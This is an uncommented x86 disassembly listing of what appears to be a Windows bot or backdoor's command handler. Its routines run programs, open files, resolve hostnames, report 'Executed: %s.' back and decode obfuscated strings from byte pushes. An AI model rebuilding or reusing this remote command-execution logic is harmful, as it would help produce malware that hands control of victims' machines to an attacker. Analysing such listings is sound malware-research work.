		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		nop
		call	near ptr 27F0459h
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_449896
		test	al, al
		jz	short loc_404F30
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		call	near ptr 71ABE479h
		nop
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		call	near ptr 71AB4FD4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
